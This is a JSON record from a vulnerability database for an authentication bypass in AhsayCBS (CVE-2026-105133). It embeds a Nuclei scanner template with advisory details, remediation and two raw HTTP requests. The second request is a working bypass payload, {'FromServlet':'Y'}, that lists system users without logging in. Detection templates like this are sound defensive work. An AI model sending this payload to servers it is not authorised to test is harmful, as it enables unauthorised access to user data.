{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-105133/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-105133/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-105133/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-105133/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-105133/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-105133"},"sightings":{"href":"/api/v1/sightings/cve-2026-105133"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-105133.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2026-105133\n\ninfo:\n  name: AhsayCBS - JSON API Authentication Bypass\n  author: alex\n  severity: medium\n  description: |\n    Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the \"random\" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.\n  impact: |\n    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.\n  remediation: |\n    Upgrade to version 10.3.4.\n  reference:\n    - https://www.ahsay.com/en/company/announcements\n    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/\n    - https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-105133\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-105133\n    epss-score: 0.7947\n    epss-percentile: 0.99604\n    cwe-id: CWE-287\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: ahsay\n    product: ahsaycbs\n  tags: cve,cve2026,ahsay,ahsaycbs,auth-bypass,vuln,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /obs/api/json/ListSystemUsers.do HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"application/json\")'\n          - 'contains_all(body, \"\\\"Status\\\":\\\"Error\\\"\", \"\\\"Parameter SysUser is null\\\"\")'\n        condition: and\n\n  - raw:\n      - |\n        POST /obs/api/json/ListSystemUsers.do HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"FromServlet\":\"Y\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"application/json\")'\n          - 'contains_all(body, \"\\\"Status\\\":\\\"OK\\\"\", \"\\\"Data\\\"\")'\n        condition: and\n# digest: 4a0a00473045022003cb26dd407a67d7960ffa60d97d9e932be042552879ac8de3b9189db2018890022100823f249c2b56b2799ee506824cbec7ab8481b4923956527644e5ab8877d3a1a2:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-105133"}